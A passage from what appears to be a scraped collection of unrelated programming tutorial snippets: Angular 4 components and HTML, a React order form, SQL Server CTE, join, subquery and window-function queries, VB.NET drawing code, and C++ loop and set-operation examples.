    &lt;script&gt;document.write('&lt;base href="' + document.location + '" /&gt;');&lt;/script&gt;  

&lt;/body&gt;  

&lt;/html&gt;  </pre>


<pre lang="JavaScript">
import { Component } from '@angular/core';  

  

@Component({  

    selector: 'Hello-world',  

    template: '&lt;strong&gt;&lt;b&gt;Angular 4!&lt;/b&gt;Hello World&lt;/strong&gt;'  

})  

  

export class HelloWorldComponent {  

    constructor() {  

    }  

  

    ngOnInit() {  

        alert("Page Init Method Fired!!")  

    }  

}  </pre>


<pre lang="JavaScript">
import { Component } from '@angular/core';  

  

@Component({  

    moduleId: module.id,  

    selector: 'home-page',  

    templateUrl: 'app.component.home.html'  

})  

  

export class HomeComponent {  

    constructor() {  

    }  

}  </pre>


<pre lang="JavaScript">
import { NgModule, NO_ERRORS_SCHEMA } from '@angular/core';  

import { APP_BASE_HREF } from '@angular/common';  

import { BrowserModule } from '@angular/platform-browser';  

import { FormsModule } from "@angular/forms";  

import { HttpModule } from '@angular/http';  

import { RouterModule } from '@angular/router';  

  

import { HomeComponent } from './SampleCode/app.component.home';  

import { HelloWorldComponent } from './SampleCode/app.component.helloworld';  

  

  

@NgModule({  

    imports: [BrowserModule, FormsModule, HttpModule],  

    declarations: [HomeComponent, HelloWorldComponent],  

    bootstrap: [HomeComponent],  

    schemas: [NO_ERRORS_SCHEMA]  

})  

  

export class ArticleModule { }  </pre>


<pre lang="HTML">
&lt;!DOCTYPE html&gt;  

&lt;html lang="en"&gt;  

&lt;head&gt;  

    &lt;!--&lt;base href="/"&gt;--&gt;  

    &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;  

    &lt;meta charset="utf-8"&gt;  

    &lt;title&gt;Angular 4 - Console&lt;/title&gt;  

    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;  

    &lt;meta name="description" content=""&gt;  

    &lt;meta name="keywords" content=""&gt;  

    &lt;meta name="author" content=""&gt;  

  

    &lt;link href="resource/css/bootstrap.min.css" rel="stylesheet"&gt;  

    &lt;link rel="stylesheet" href="resource/css/font-awesome.min.css"&gt;  

    &lt;link rel="stylesheet" href="resource/css/jquery-ui.css"&gt;  

    &lt;link href="resource/css/style.css" rel="stylesheet"&gt;  

    &lt;link rel="shortcut icon" href="img/favicon/favicon.ico"&gt;  

&lt;/head&gt;  

&lt;body&gt;      

    &lt;div class="content"&gt;  

        &lt;home-page&gt;&lt;/home-page&gt;  

    &lt;/div&gt;  

    &lt;footer&gt;  

        &lt;div class="container"&gt;  

            &lt;div class="row"&gt;  

                &lt;div class="col-md-12"&gt;  

                    &lt;p class="copy"&gt;Copyright © 2017-2018 | &lt;a href="http://www.c-sharpcorner.com/members/debasis-saha"&gt;Debasis Saha&lt;/a&gt; &lt;/p&gt;  

                &lt;/div&gt;  

            &lt;/div&gt;  

        &lt;/div&gt;  

    &lt;/footer&gt;  

    &lt;script src="resource/js/jquery.js"&gt;&lt;/script&gt;  

    &lt;script src="resource/js/bootstrap.min.js"&gt;&lt;/script&gt;  

    &lt;script src="resource/js/jquery-ui.min.js"&gt;&lt;/script&gt;  

    &lt;script src="resource/js/jquery.slimscroll.min.js"&gt;&lt;/script&gt;  

    &lt;script src="resource/js/custom.js"&gt;&lt;/script&gt;  

  

    &lt;script src="node_modules/core-js/client/shim.min.js"&gt;&lt;/script&gt;  

    &lt;script src="node_modules/zone.js/dist/zone.js"&gt;&lt;/script&gt;  

    &lt;script src="node_modules/systemjs/dist/system.src.js"&gt;&lt;/script&gt;  

    &lt;script src="systemjs.config.js"&gt;&lt;/script&gt;  

    &lt;script&gt;  

        System.import('main.js').catch(function (err) { console.error(err); });  

    &lt;/script&gt;  

  

    &lt;!-- Set the base href, demo only! In your app: &lt;base href="/"&gt; --&gt;  

    &lt;script&gt;document.write('&lt;base href="' + document.location + '" /&gt;');&lt;/script&gt;  

&lt;/body&gt;  

&lt;/html&gt;  </pre>


<pre lang="JavaScript">
import { Component } from '@angular/core';  

  

@Component({  

    moduleId: module.id,  

    selector: 'template-style',  

    templateUrl: 'app.component.template.html',  

    styles: ['strong{color:red;font-weight:bold}','strong{color:blue}']  

})  

  

export class TemplateUrlComponent {      

    constructor() {  

  

    }  

}  </pre>




<pre lang="JavaScript">
class App extends Component {

  constructor() {
    super();

    this.state = {
      order: {
        id: '',
        name : '',
        email: '',
        address: '',
        phone: '',
        units: '',
      },
     orderList: [],
    
    this.initialOrder = this.state.order;
    }
  }
  ...
}

</pre>


<pre lang="JavaScript">
 handleChange(name, value) {
    this.setState(
      prevState =&gt; { 
        return(
          { 
            order: { ...prevState.order, [name]:value } 
          }
        )
      }
    )
  }

  handleSubmit() {
    this.setState(
      prevState =&gt; {
        return(
        {
          orderList: [...prevState.orderList, prevState.order],
          order: this.initialOrder
        })
      }, () =&gt; {
        this.props.history.push('/');
        
      }
    )
  }

  handleDelete(itemToBeDeleted) {
 
    let updatedOrderList = this.state.orderList.filter(function(order) { return order.id !== itemToBeDeleted.id });
    this.setState({
      orderList: updatedOrderList
    })
 }


 resetOrderList() {
    this.setState({
      orderList: []
    })
  }
</pre>


<pre lang="JavaScript">
  render() {

    return(
      &lt;div&gt;
       { this.props.history.location.pathname === '/'? this.renderTopButtons() : null }
        &lt;Switch&gt;
          &lt;Route exact path="/" render={ () =&gt; &lt;OrderTable {...this.props} orders = { this.state.orderList } onDelete = {this.handleDelete} /&gt; } /&gt;
          &lt;Route path="/new" render = { () =&gt; &lt;CreateOrderForm {...this.props} onChange = {this.handleChange} onSubmit = {this.handleSubmit} /&gt; } /&gt;
        &lt;/Switch&gt;
              
      &lt;/div&gt;
      
    );
  }
}

</pre>


<pre lang="JavaScript">
renderTopButtons() {
    return( 
      &lt;div className = "container"&gt;
        &lt;div className = "row col-md-8 offset-md-4   mt-4 mb-4"&gt;
          &lt;button className = "btn btn-primary mx-2" onClick = { this.props.history.push('/new'); }&gt; Create New Order &lt;/button&gt;
          &lt;button className = "btn btn-danger mx-2" onClick = { this.resetOrderList }&gt; Delete All &lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;)
  }</pre>


<pre lang="React">
const CreateOrderForm = (props) =&gt; {
 /*  Omitted for brevity */
  return(
    &lt;div&gt;
        &lt;br/&gt;
        
        &lt;h2&gt; Create an Order &lt;/h2&gt;
        &lt;br/&gt;
        &lt;form onSubmit  = {handleSubmit} onChange= {handleChange} &gt;

            &lt;div&gt;
              &lt;input name="id" type="number" id="example-number-input" /&gt;
            &lt;/div&gt;
        
            &lt;div&gt;
              &lt;input name="name" type="text" id="example-text-input" /&gt;
            &lt;/div&gt;
       
            &lt;div&gt;
              &lt;input name="email" type="email" id="example-email-input" /&gt;
            &lt;/div&gt;
     
            &lt;div&gt;
              &lt;textarea name="address" cols="50" rows="3" type="address" /&gt;
            &lt;/div&gt;
      
            &lt;div&gt;
              &lt;input name="phone" type="tel" id="example-tel-input" /&gt;
            &lt;/div&gt;
    
            &lt;div&gt;
             &lt;input name="units" type="number" id="example-number-input" /&gt;
           &lt;/div&gt;
       
           &lt;div className="offset-md-4"&gt;
             &lt;button type="submit"&gt; Submit &lt;/button&gt;
           &lt;/div&gt;

      &lt;/form&gt; 
    &lt;/div&gt;

    )
}

export default CreateOrderForm;</pre>



<pre lang="C++">
#include &lt;cstdint&gt;
#include &lt;algorithm&gt;
#include &lt;numeric&gt;
#include &lt;iterator&gt;

const size_t LEN = 1000000;

// Increment For Loop
uint64_t func1()
{
    uint64_t vec[LEN];

    uint64_t sum = 0;
    for (size_t i = 0; i &lt; LEN; ++i)
    {
        sum += vec[i];
    }
    return sum;
}

// Range For Loop
uint64_t func2()
{
    uint64_t vec[LEN];

    uint64_t sum = 0;
    for (auto n : vec)
    {
        sum += n;
    }
    return sum;
}

// Iterator For Loop
uint64_t func3()
{
    uint64_t vec[LEN];

    uint64_t sum = 0;
    for (auto it = std::cbegin(vec); it != std::cend(vec); ++it)
    {
        sum += *it;
    }
    return sum;
}

// Accumulator
uint64_t func4()
{
    uint64_t vec[LEN];

    uint64_t sum = 0;
    const uint64_t Zero = 0;

    sum = std::accumulate(std::cbegin(vec), std::cend(vec), Zero);
    return sum;
}
</pre>


<pre lang="SQL">
WITH <em>CTE_SalesPerson (FirstName, LastName, SalesLastYear)</em>
AS
(
   <strong>SELECT    TOP 10 FirstName,
             LastName,
             SalesLastYear
   FROM      Sales.vSalesPerson
   ORDER BY  SalesLastYear Asc</strong>
)
<u>SELECT   FirstName,
         LastName,
         SalesLastYear
FROM     CTE_SalesPerson
ORDER BY LastName</u></pre>


<pre lang="SQL">
SELECT personid,
       personname,
       birthdate,
       CAST(CONVERT(NVARCHAR(10), birthdate,112)as INT) as BirthINT,
       CAST(CONVERT(NVARCHAR(10), birthdate,112)as INT)+1 as BirthINTIncremented,
       CAST(CONVERT(NVARCHAR(10), birthdate,112)as INT)+30 as BirthINTIncrementedMore
FROM   @datetable</pre>


<pre lang="SQL">
-- calculating the median using the converted String
-- using a CTE to reference the conversion
;WITH ctedateconversion AS (
   SELECT personid,
          personname,
          birthdate,
          CONVERT( INT, Birthdate) as BirthINT
   FROM   @datetable
)
SELECT CONVERT(DATETIME,
               SUM(birthint)/(SELECT COUNT(*) FROM cteDateconversion)) As meanbirthdate
FROM ctedateconversion</pre>


<pre lang="SQL">
;with ctedateconversion as(
   SELECT personid,
          PersonName,
          Birthdate,
          Percentile_Disc(0.5) within group (order by Birthdate) OVER() as MedianBirthDate
   FROM   @datetable
)
SELECT personname,
       birthdate
FROM   ctedateconversion
WHERE  Birthdate = MedianBirthDate</pre>


<pre lang="SQL">
; with <strong>ctepresidents</strong> as(
   SELECT President,
          Convert(DATETIME2, Birthdate) as Birthdate,
          Convert(DATETIME2, TermStart) TermStart,
          Convert(DATETIME2, TermEnd) as TermEnd
   FROM Presidents
)
,
<strong>CTESTEP2</strong> as(
   SELECT President,
          CAST(DATEDIFF(dd, birthdate, termstart)/365.0 as INT) as startage,
          CAST(DATEDIFF(dd, birthdate, termend)/365.0 as INT) as endage
   FROM <strong>ctepresidents</strong>
)
,<strong>ctefinal</strong> as(
   SELECT   CAST(SUM(startage)/(select COUNT(*) FROM Ctestep2)as INT) as meanStartAge,
            CAST(SUM(endage)/(select COUNT(*) FROM Ctestep2)as INT )as meanendAge
   FROM <strong>CTESTEP2</strong>)
,cteconnectingitall as(
   SELECT President
   FROM   <strong>CTESTEP2</strong> c
          INNER JOIN <strong>CTEFINAL</strong> f
          on c.startage = f.meanStartAge
   UNION ALL
   SELECT President
   FROM   <strong>ctefinal</strong> ff
          INNER JOIN <strong>CTESTEP2</strong> cc
          ON cc.endage = ff.meanendAge
)
SELECT * FROM cteconnectingitall</pre>


<pre lang="SQL">
;with ctepresidents as(
   SELECT President,
          Convert(DATETIME2, Birthdate) as Birthdate,
          Convert(DATETIME2, TermStart) TermStart,
          Convert(DATETIME2, TermEnd) as TermEnd
   FROM   Presidents
)
,
CTESTEP2 as(
   SELECT President,
          CAST(DATEDIFF(dd, birthdate, termstart)/365.0 as INT) as startage,
          CAST(DATEDIFF(dd, birthdate, termend)/365.0 as INT) as endage
   FROM ctepresidents
)
SELECT * FROM CTESTEP2
WHERE  startage = 54
       OR endage = 59</pre>


<pre lang="SQL">
SELECT E.BusinessEntityID,
       D.GroupName,
       H.EndDate,
       E.MaritalStatus,
       E.Gender,
       P.Rate,
       P.PayFrequency,
       P.RateChangeDate,
       P.Rate * 40 * 52 / P.PayFrequency as AnnualPay
FROM   HumanResources.Employee E
       INNER JOIN HumanResources.EmployeePayHistory P ON
                  E.BusinessEntityID = p.BusinessEntityID
       INNER JOIN HumanResources.EmployeeDepartmentHistory H ON
                  E.BusinessEntityID = H.BusinessEntityID
       INNER JOIN HumanResources.Department D ON
                  H.DepartmentID = D.DepartmentID
WHERE  E.CurrentFlag = 1;</pre>


<pre lang="SQL">
With cte_EmployeePay as
(
   SELECT E.BusinessEntityID,
          D.GroupName,
          H.EndDate,
          E.MaritalStatus,
          E.Gender,
          P.Rate,
          P.PayFrequency,
          P.RateChangeDate,
          P.Rate * 40 * 52 / P.PayFrequency as AnnualPay,
          ROW_NUMBER() OVER(PARTITION BY E.BusinessEntityID
                       ORDER BY P.RateChangeDate Desc) RowNumber
   FROM   HumanResources.Employee E
          INNER JOIN HumanResources.EmployeePayHistory P ON
                     E.BusinessEntityID = p.BusinessEntityID
          INNER JOIN HumanResources.EmployeeDepartmentHistory H ON
                     E.BusinessEntityID = H.BusinessEntityID
                     AND H.EndDate is NULL
          INNER JOIN HumanResources.Department D ON
                     H.DepartmentID = D.DepartmentID
   WHERE  E.CurrentFlag = 1
)
SELECT *
FROM   cte_EmployeePay
WHERE  RowNumber = 1;</pre>


<pre lang="SQL">
With cte_EmployeePay as
(
   SELECT D.GroupName,
          IIF(E.MaritalStatus = 'M','Married','Single') + '-' + 
          IIF(E.Gender = 'M', 'Male', 'Female') as LifeStatus,
          P.Rate * 40 * 52 / P.PayFrequency as AnnualPay,
          ROW_NUMBER() OVER(PARTITION BY E.BusinessEntityID
                       ORDER BY P.RateChangeDate Desc) RowNumber
   FROM   HumanResources.Employee E
          INNER JOIN HumanResources.EmployeePayHistory P ON
                     E.BusinessEntityID = p.BusinessEntityID
          INNER JOIN HumanResources.EmployeeDepartmentHistory H ON
                     E.BusinessEntityID = H.BusinessEntityID
                     AND H.EndDate is NULL
          INNER JOIN HumanResources.Department D ON
                     H.DepartmentID = D.DepartmentID
   WHERE  E.CurrentFlag = 1
)
SELECT *
FROM   (SELECT GroupName,
               LifeStatus,
               AnnualPay
        FROM   cte_EmployeePay
        WHERE  RowNumber = 1) as SourceTable
PIVOT
(
   Avg(AnnualPay)
   FOR LifeStatus IN ([Married-Male],
                      [Married-Female],
                      [Single-Male],
                      [Single-Female])
) AS AvgSales
ORDER BY GroupName</pre>


<pre lang="SQL">
SELECT   REPLACE(REPLACE(P.PartNumber,'*','-'), ' ','-') as PartNumber,
         P.NAme,
         S.Year,
         S.Sales
FROM     @PartDescription P
         INNER JOIN @PartSales S 
         ON REPLACE(REPLACE(P.PartNumber,'*','-'), ' ','-') = 
         REPLACE(REPLACE(S.PartNumber,'*','-'), ' ','-')
ORDER BY P.Name, S.Year</pre>


<pre lang="SQL">
SELECT   REPLACE(REPLACE(P.PartNumber,'*','-'), ' ','-') as PartNumber,
         P.NAme,
         S.Year,
         S.Sales
FROM     @PartDescription P
         INNER JOIN @PartSales S 
         ON TRANSLATE(P.PartNumber,'!@#$%^&amp;*()_+=','-------------') = 
         TRANSLATE(S.PartNumber, '!@#$%^&amp;*()_+=','-------------')
ORDER BY P.Name, S.Year</pre>


<pre lang="SQL">
SELECT   REPLACE(REPLACE(P.PartNumber,'*','-'), ' ','-') as PartNumber,
         P.NAme,
         S.Year,
         S.Sales
FROM     @PartDescription P
         INNER JOIN @PartSales S
         ON LEFT(P.PartNumber,4) = LEFT(S.PartNumber,4) AND
         RIGHT(P.PartNumber,4) = RIGHT(S.PartNumber,4)
ORDER BY P.Name, S.Year</pre>


<pre lang="SQL">
SELECT   T1.InvoiceID
         ,T2.InvoiceID
         ,T1.TransactionDate
         ,T1.TransactionAmount
         ,T2.TransactionAmount
FROM     Sales.CustomerTransactions T1
         INNER JOIN Sales.CustomerTransactions T2
         ON <strong>T1.InvoiceID &gt;= T2.InvoiceID</strong>
         AND  <em>T1.TransactionDate = T2.TransactionDate</em>
WHERE    T1.TransactionTypeID = 1
ORDER BY T1.InvoiceID, T1.TransactionAmount</pre>


<pre lang="SQL">
SELECT   T1.InvoiceID
         ,T1.TransactionDate
         ,T1.TransactionAmount
         ,Sum(T2.TransactionAmount) RunningTotal
FROM     Sales.CustomerTransactions T1
         INNER JOIN Sales.CustomerTransactions T2
         ON T1.InvoiceID &gt;= T2.InvoiceID
         AND  T1.TransactionDate = T2.TransactionDate
WHERE    T1.TransactionTypeID = 1
GROUP BY <strong>T1</strong><strong>.</strong><strong>InvoiceID</strong>
<strong>         </strong><strong>,</strong><strong>T1</strong><strong>.</strong><strong>TransactionDate</strong>
<strong>         </strong><strong>,</strong><strong>T1</strong><strong>.</strong><strong>TransactionAmount</strong>
ORDER BY T1.InvoiceID
         ,T1.TransactionAmount</pre>


<pre lang="SQL">
SELECT   InvoiceID
         ,TransactionDate
         ,TransactionAmount
         ,SUM(TransactionAmount) OVER(PARTITION BY TransactionDate) RunningTotal
FROM     Sales.CustomerTransactions T1
WHERE    TransactionTypeID = 1
ORDER BY InvoiceID
         ,TransactionAmount</pre>


<pre lang="SQL">
SELECT   InvoiceID
         ,TransactionDate
         ,TransactionAmount
         ,SUM(TransactionAmount) OVER(PARTITION BY TransactionDate ORDER BY InvoiceID) RunningTotal
FROM     Sales.CustomerTransactions T1
WHERE    TransactionTypeID = 1
ORDER BY InvoiceID
         ,TransactionAmount</pre>


<pre lang="SQL">
SELECT U.Name,
       U.PhoneNumber,
       UH.actionDate AS RecentLogonDate
FROM   @User AS U
       INNER JOIN @UserHistory AS UH
       ON U.userID = UH.userID
WHERE  action = 'Logged On'
       AND DATEDIFF(DAY, actionDate, '2017-03-14') &lt;= 30;</pre>


<pre lang="SQL">
SELECT   U.Name,
         U.PhoneNumber,
         MAX(UH.actionDate) AS RecentLogonDate
FROM     @User AS U
         INNER JOIN @UserHistory AS UH
         ON U.userID = UH.userID
WHERE    action = 'Logged On'
         AND DATEDIFF(DAY, actionDate, '2017-03-14') &lt;= 30
GROUP BY U.Name, U.phoneNumber;</pre>


<pre lang="SQL">
SELECT U.Name,
       U.PhoneNumber
FROM   @User AS U
WHERE  U.UserID IN (SELECT UserID
                    FROM   @UserHistory
                    WHERE  action = 'Logged On'
                    AND DATEDIFF(DAY, actionDate, '2017-03-14') &lt;= 30);</pre>


<pre lang="SQL">
SELECT U.Name,
       U.PhoneNumber,
       (SELECT Max(UH.actionDate)
        FROM   @UserHistory AS UH
        WHERE  action = 'Logged On'
        AND DATEDIFF(DAY, actionDate, '2017-03-14') &lt;= 30
AND    U.userID = UH.userID) AS RecentLogonDate
FROM   @User AS U
WHERE  DATEDIFF(DAY, <strong>RecentLogonDate</strong>, '2017-03-14') &lt;= 30
       AND <strong>RecentLogonDate IS NOT NULL</strong></pre>


<pre lang="SQL">
SELECT U.Name,
       U.PhoneNumber,
       (SELECT Max(UH.actionDate)
        FROM   @UserHistory AS UH
        WHERE  action = 'Logged On'
               AND DATEDIFF(DAY, actionDate, '2017-03-14') &lt;= 30
               AND <strong>U.userID = UH.userID</strong>) AS RecentLogonDate
FROM   @User AS U
WHERE  U.UserID IN (SELECT UserID
                    FROM   @UserHistory
                    WHERE  action = 'Logged On'
                    AND DATEDIFF(DAY, actionDate, '2017-03-14') &lt;= 30);</pre>


<pre lang="SQL">
SELECT   E.HireDate,
         (SELECT FirstName
          FROM   Person.Person P1
          WHERE  P1.BusinessEntityID = E.BusinessEntityID),
         (SELECT LastName
          FROM   Person.Person P2
          WHERE  P2.BusinessEntityID = E.BusinessEntityID),
         E.BirthDate
FROM     HumanResources.Employee E
WHERE    (SELECT PersonType
          FROM   Person.Person T
          WHERE  T.BusinessEntityID = E.BusinessEntityID) = 'EM'
ORDER BY HireDate,
         (SELECT FirstName
          FROM   Person.Person P1
          WHERE  P1.BusinessEntityID = E.BusinessEntityID)</pre>


<pre lang="SQL">
SELECT   E.HireDate,
         (SELECT FirstName
          FROM   Person.Person P1
          WHERE  <strong>P1.BusinessEntityID = E.BusinessEntityID</strong>),
         (SELECT LastName
          FROM   Person.Person P2
          WHERE  <strong>P2.BusinessEntityID = E.BusinessEntityID</strong>),
         E.BirthDate
FROM     HumanResources.Employee E
WHERE    (SELECT PersonType
          FROM   Person.Person T
          WHERE  <strong>T.BusinessEntityID = E.BusinessEntityI</strong>D) = 'EM'
ORDER BY HireDate,
         (SELECT FirstName
          FROM   Person.Person P1
          WHERE  <strong>P1.BusinessEntityID = E.BusinessEntityID</strong>)</pre>


<pre lang="SQL">
SELECT   E.HireDate,
         P.FirstName,
         P.LastName,
         E.BirthDate
FROM     HumanResources.Employee E
         INNER JOIN Person.Person P
         ON P.BusinessEntityID = E.BusinessEntityID
WHERE    P.PersonType  = 'EM'
ORDER BY E.HireDate,
         P.FirstName</pre>


<pre lang="SQL">
SET SHOWPLAN_ALL ON
SELECT   E.HireDate,
         P.FirstName,
         P.LastName,
         E.BirthDate
FROM     HumanResources.Employee E
         INNER JOIN Person.Person P
         ON P.BusinessEntityID = E.BusinessEntityID
WHERE    P.PersonType  = 'EM'
ORDER BY E.HireDate,
         P.FirstName</pre>


<pre lang="VB.NET">
' Define center origin
Dim ptCenter As PointF = _
      New PointF(_rcRect.Left + (_rcRect.Width / 2), _rcRect.Top + (_rcRect.Height / 2))

' Check for on-going resize operation
Select Case _eMouseOperation
    Case MouseOperation.Nwse To MouseOperation.We
        ' Use last known center origin
        ptCenter = _ptCenter
    Case Else
        _ptCenter = ptCenter
End Select</pre>


<pre lang="VB.NET">
' Check for rotation
If (_rgRect IsNot Nothing) AndAlso (_snAngle &lt;&gt; 0.0) Then

    ' Get rotatetd rectangle bounds
    Dim rfNewBounds As RectangleF = _rgRect.GetBounds(oGfx)

    ' Check for resize operation on a rotated element
    If (_eMouseOperation &gt;= MouseOperation.Nwse) AndAlso _eMouseOperation &lt;= MouseOperation.We Then

        ' Get center origin of the region
        Dim ptNewScreenCenterOrigin As New PointF_
          (rfNewBounds.Left + (rfNewBounds.Width / 2), rfNewBounds.Top + (rfNewBounds.Height / 2))

        ' Compute a rectangle based on source rectangle size and located around the center point
        ' of the bounds of the rotated region
        Dim rcNewRenderRect As New RectangleF((ptNewScreenCenterOrigin.X - (_rcRect.Width / 2)), _
                                              (ptNewScreenCenterOrigin.Y - (_rcRect.Height / 2)), _
                                              _rcRect.Width, _
                                              _rcRect.Height)

        ' Store for mouse up
        _rcResizeMouseUpRenderRect = rcNewRenderRect

    End If

End If</pre>


<pre lang="C++">
void intersection_example()
{
    std::vector&lt;int&gt; v1{ 1,2,3,4,5,6,7,8 };
    std::vector&lt;int&gt; v2{         5,  7,  9,10 };
    std::sort(v1.begin(), v1.end());
    std::sort(v2.begin(), v2.end());

    std::vector&lt;int&gt; v_intersection;

    std::set_intersection(v1.begin(), v1.end(),
        v2.begin(), v2.end(),
        std::back_inserter(v_intersection));

    for (int n : v_intersection)
        std::cout &lt;&lt; n &lt;&lt; ' ';
}
</pre>


<pre lang="C++">
void intersection_example()
{
    std::vector&lt;int&gt; v1{ 1,2,3,4,5,6,7,8 };
    std::vector&lt;int&gt; v2{         5,  7,  9,10 };

    std::vector&lt;int&gt; v_intersection = s(v1) &amp; s(v2);

    for (int n : v_intersection)
        std::cout &lt;&lt; n &lt;&lt; ' ';
}
</pre>


<pre lang="C++">
#include &lt;algorithm&gt;
#include &lt;iterator&gt;

template&lt;typename T&gt;
struct wrapper
{
    wrapper(T&amp; container) : cont(container) {}
    T&amp; cont;
};

template&lt;typename T&gt;
wrapper&lt;T&gt; s(T&amp; s_cont)
{
    return wrapper&lt;T&gt;(s_cont);
}
</pre>


<pre lang="C++">
template&lt;typename T&gt;
T operator&amp;(wrapper&lt;T&gt;&amp; left, wrapper&lt;T&gt;&amp; right)
{
    T&amp; c1 = left.cont;
    T&amp; c2 = right.cont;
    if (!std::is_sorted(c1.begin(), c1.end()))
        std::sort(c1.begin(), c1.end());
    if (!std::is_sorted(c2.begin(), c2.end()))
        std::sort(c2.begin(), c2.end());

    T v_intersection;

    std::set_intersection(c1.begin(), c1.end(),
        c2.begin(), c2.end(),
        std::back_inserter(v_intersection));

    return std::move(v_intersection);
}
</pre>


<pre lang="C++">
void union_example()
{
    std::vector&lt;int&gt; v1 = { 1, 2, 3, 4, 5 };
    std::vector&lt;int&gt; v2 = {       3, 4, 5, 6, 7 };
    std::sort(v1.begin(), v1.end());
    std::sort(v2.begin(), v2.end());

    std::vector&lt;int&gt; dest1;

    std::set_union(v1.begin(), v1.end(),
        v2.begin(), v2.end(),
        std::back_inserter(dest1));

    for (const auto &amp;i : dest1) {
        std::cout &lt;&lt; i &lt;&lt; ' ';
    }
    std::cout &lt;&lt; '\n';
}
</pre>


<pre lang="C++">
void union_example()
{
    std::vector&lt;int&gt; v1 = { 1, 2, 3, 4, 5 };
    std::vector&lt;int&gt; v2 = {       3, 4, 5, 6, 7 };

    std::vector&lt;int&gt; dest1 = s(v1) | s(v2);

    for (int n : dest1)
        std::cout &lt;&lt; n &lt;&lt; ' ';
}
</pre>


<pre lang="C++">
template&lt;typename T&gt;
T operator|(wrapper&lt;T&gt;&amp; left, wrapper&lt;T&gt;&amp; right)
{
    T&amp; c1 = left.cont;
    T&amp; c2 = right.cont;
    if (!std::is_sorted(c1.begin(), c1.end()))
        std::sort(c1.begin(), c1.end());
    if (!std::is_sorted(c2.begin(), c2.end()))
        std::sort(c2.begin(), c2.end());

    T dest1;

    std::set_union(c1.begin(), c1.end(),
        c2.begin(), c2.end(),
        std::back_inserter(dest1));

    return std::move(dest1);
}
</pre>


<pre lang="C++">
void set_difference_example() 
{
    std::vector&lt;int&gt; v1{ 1, 2, 5, 5, 5,    9 };
    std::vector&lt;int&gt; v2{    2, 5,       7 };
    std::sort(v1.begin(), v1.end());
    std::sort(v2.begin(), v2.end());

    std::vector&lt;int&gt; diff;

    std::set_difference(v1.begin(), v1.end(), v2.begin(), v2.end(),
        std::inserter(diff, diff.begin()));

    for (auto i : v1) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; "minus ";
    for (auto i : v2) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; "is: ";

    for (auto i : diff) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; '\n';
}
</pre>


<pre lang="C++">
void set_difference_example()
{
    std::vector&lt;int&gt; v1{ 1, 2, 5, 5, 5, 9 };
    std::vector&lt;int&gt; v2{    2, 5,       7 };

    std::vector&lt;int&gt; diff = s(v1) - s(v2);

    for (auto i : v1) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; "minus ";
    for (auto i : v2) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; "is: ";

    for (auto i : diff) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; '\n';
}
</pre>


<pre lang="C++">
template&lt;typename T&gt;
T operator-(wrapper&lt;T&gt;&amp; left, wrapper&lt;T&gt;&amp; right)
{
    T&amp; c1 = left.cont;
    T&amp; c2 = right.cont;
    if (!std::is_sorted(c1.begin(), c1.end()))
        std::sort(c1.begin(), c1.end());
    if (!std::is_sorted(c2.begin(), c2.end()))
        std::sort(c2.begin(), c2.end());

    T diff;

    std::set_difference(c1.begin(), c1.end(),
        c2.begin(), c2.end(),
        std::back_inserter(diff));

    return std::move(diff);
}
</pre>


<pre lang="C++">
void set_symmetric_difference_example()
{
    std::vector&lt;int&gt; v1{ 1,2,3,4,5,6,7,8 };
    std::vector&lt;int&gt; v2{         5,  7,  9,10 };
    std::sort(v1.begin(), v1.end());
    std::sort(v2.begin(), v2.end());

    std::vector&lt;int&gt; v_symDifference;

    std::set_symmetric_difference(
        v1.begin(), v1.end(),
        v2.begin(), v2.end(),
        std::back_inserter(v_symDifference));

    for (int n : v_symDifference)
        std::cout &lt;&lt; n &lt;&lt; ' ';
}
</pre>


<pre lang="C++">
void set_symmetric_difference_example()
{
    std::vector&lt;int&gt; v1{ 1,2,3,4,5,6,7,8 };
    std::vector&lt;int&gt; v2{         5,  7,  9,10 };

    std::vector&lt;int&gt; v_symDifference = s(v1) ^ s(v2);

    for (int n : v_symDifference)
        std::cout &lt;&lt; n &lt;&lt; ' ';
}
</pre>


<pre lang="C++">
template&lt;typename T&gt;
T operator^(wrapper&lt;T&gt;&amp; left, wrapper&lt;T&gt;&amp; right)
{
    T&amp; c1 = left.cont;
    T&amp; c2 = right.cont;
    if (!std::is_sorted(c1.begin(), c1.end()))
        std::sort(c1.begin(), c1.end());
    if (!std::is_sorted(c2.begin(), c2.end()))
        std::sort(c2.begin(), c2.end());

    T v_symDifference;

    std::set_symmetric_difference(c1.begin(), c1.end(),
        c2.begin(), c2.end(),
        std::back_inserter(v_symDifference));

    return std::move(v_symDifference);
}
</pre>


<pre lang="C++">
void is_superset_example()
{
    std::vector&lt;char&gt; v1{ 'a', 'b', 'c', 'f', 'h', 'x' };
    std::vector&lt;char&gt; v2{ 'a', 'b', 'c' };
    std::vector&lt;char&gt; v3{ 'a', 'c' };
    std::vector&lt;char&gt; v4{ 'g' };
    std::vector&lt;char&gt; v5{ 'a', 'c', 'g' };
    std::sort(v1.begin(), v1.end());
    std::sort(v2.begin(), v2.end());
    std::sort(v3.begin(), v3.end());
    std::sort(v4.begin(), v4.end());
    std::sort(v5.begin(), v5.end());

    for (auto i : v1) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; "\nincludes:\n" &lt;&lt; std::boolalpha;

    for (auto i : v2) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; ": " 
              &lt;&lt; std::includes(v1.begin(), v1.end(), v2.begin(), v2.end()) &lt;&lt; '\n';
    for (auto i : v3) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; ": " 
              &lt;&lt; std::includes(v1.begin(), v1.end(), v3.begin(), v3.end()) &lt;&lt; '\n';
    for (auto i : v4) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; ": " 
              &lt;&lt; std::includes(v1.begin(), v1.end(), v4.begin(), v4.end()) &lt;&lt; '\n';
    for (auto i : v5) std::cout &lt;&lt; i &lt;&lt; ' ';
    std::cout &lt;&lt; ": " 
